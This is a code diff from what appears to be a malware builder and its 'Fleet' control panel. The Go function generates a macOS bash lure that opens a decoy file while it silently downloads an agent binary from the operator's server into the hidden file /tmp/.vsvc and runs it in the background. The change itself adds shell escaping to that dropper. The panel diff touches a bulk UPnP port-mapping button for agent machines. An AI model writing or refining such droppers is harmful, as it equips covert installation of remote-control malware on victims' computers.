diff --git a/server/internal/builder/pathforge.go b/server/internal/builder/pathforge.go
index 189a463..c41bee8 100644
--- a/server/internal/builder/pathforge.go
+++ b/server/internal/builder/pathforge.go
@@ -387,20 +387,25 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
 func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
 	s := "#!/bin/bash\n"
 	dir := "$(dirname \"$0\")"
+	// Escape filenames for bash double-quoted strings.
+	lfSh := escapeShDouble(lockedFile)
+	rfSh := escapeShDouble(realFile)
 	if lockOriginal {
-		s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
+		s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lfSh, dir, rfSh)
 	}
-	s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
+	s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, rfSh)
 	if lockOriginal {
 		s += fmt.Sprintf(
 			"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
-			dir, realFile, dir, lockedFile)
+			dir, rfSh, dir, lfSh)
 	}
 	if serverURL != "" {
+		// Escape serverURL for single-quoted bash string (prevents shell injection via ').
+		urlSh := escapeShSingle(serverURL)
 		s += fmt.Sprintf(
 			"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
 				"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
-			serverURL)
+			urlSh)
 	}
 	return s
 }
diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
index 56d4bce..c6dc4c0 100644
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -848,9 +848,12 @@ export default function CrucibleExpandedOps({
           <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
             WAN IP
           </button>
-          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
-            Hole Punch
-          </button>
+          <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
+            <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
+              Hole Punch
+            </button>
+            <HelpTip field="crucible_btn_hole_punch" />
+          </span>
           <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}>
             Close UPnP
           </button>